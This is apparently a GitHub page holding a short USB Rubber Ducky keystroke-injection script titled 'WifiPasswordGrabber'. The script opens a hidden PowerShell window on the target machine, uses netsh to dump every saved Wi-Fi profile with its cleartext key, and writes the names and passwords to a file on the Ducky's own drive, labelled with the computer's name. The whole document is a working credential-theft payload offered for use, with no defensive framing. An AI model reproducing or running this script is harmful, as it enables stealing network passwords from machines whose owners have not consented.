-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathWifiPasswordGrabber
More file actions
20 lines (20 loc) · 819 Bytes
/
WifiPasswordGrabber
File metadata and controls
20 lines (20 loc) · 819 Bytes
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
REM Requires Ducky to be in Twin mode
REM Pulls all WIFI Passwords from machine
REM Using Powershell
REM Outputs to PCNAME.TXT
DELAY 4000
REM open Run gui
GUI r
REM Change this value depending on the computer you are using ( i mean slow or not )
DELAY 700
STRING powershell -WindowStyle Hidden
ENTER
DELAY 700
STRING $Duck=(Get-Volume -FileSystemLabel ducky).driveletter
ENTER
STRING $pc=$env:computername
ENTER
STRING (netsh wlan show profiles) | Select-String "\:(.+)$" | %{$name=$_.Matches.Groups[1].Value.Trim(); $_} | %{(netsh wlan show profile name="$name" key=clear)} | Select-String "Key Content\W+\:(.+)$" | %{$pass=$_.Matches.Groups[1].Value.Trim(); $_} | %{[PSCustomObject]@{ PROFILE_NAME=$name;PASSWORD=$pass }} | Format-Table -AutoSize | Out-file -filepath "$($duck):\$($PC).txt"
ENTER
STRING EXIT
ENTER